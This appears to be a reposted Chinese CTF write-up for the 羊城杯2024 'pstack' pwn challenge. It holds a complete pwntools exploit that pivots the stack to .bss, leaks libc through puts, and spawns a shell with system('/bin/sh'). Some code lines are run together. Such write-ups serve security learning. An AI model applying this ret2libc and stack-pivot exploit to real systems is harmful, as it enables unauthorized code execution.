您的位置:首页 > 娱乐 > 八卦 > [羊城杯2024]-Pwn:pstack解析(栈迁移)

[羊城杯2024]-Pwn:pstack解析(栈迁移)

2024/12/23 6:18:28 来源:https://blog.csdn.net/2301_79326813/article/details/141675588  浏览:    关键词:[羊城杯2024]-Pwn:pstack解析(栈迁移)

查看保护

查看ida

一个输入点,只能刚好溢出到返回地址。

完整exp:

from pwn import*
p=process('./pstack')
elf=ELF('./pstack')
pop_rdi=0x0000000000400773
leave_ret=0x00000000004006db
puts_plt=elf.plt['puts']
main=elf.sym['main']
bss=elf.bss()+0x800
vuln=elf.sym['vuln']
vuln_read=0x4006C4
puts_got=elf.got['puts']
pop_rbp=0x00000000004005b0
ret=0x0000000000400506def gdbs():gdb.attach(p)pause()payload=b'a'*0x30+p64(bss+0x20)+p64(vuln_read)
p.send(payload)
payload=p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(pop_rbp)+p64(bss+0x48)+p64(vuln_read)
payload+=p64(bss-0x18)+p64(leave_ret)
p.send(payload)
puts_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print("puts_addr= "+hex(puts_addr))
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
libcbase=puts_addr-libc.sym['puts']
system=libcbase+libc.sym['system']
binsh=libcbase+next(libc.search(b'/bin/sh'))
payload=p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system)
p.sendline(payload)p.interactive()

补充点1:vuln的read中,lea指令会把bss段的地址间接传入rsi,可以利用这一点进行泄露libc地址和getshell。

补充点2:可以利用覆盖rbp的地址和leave ret灵活变换执行流。

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com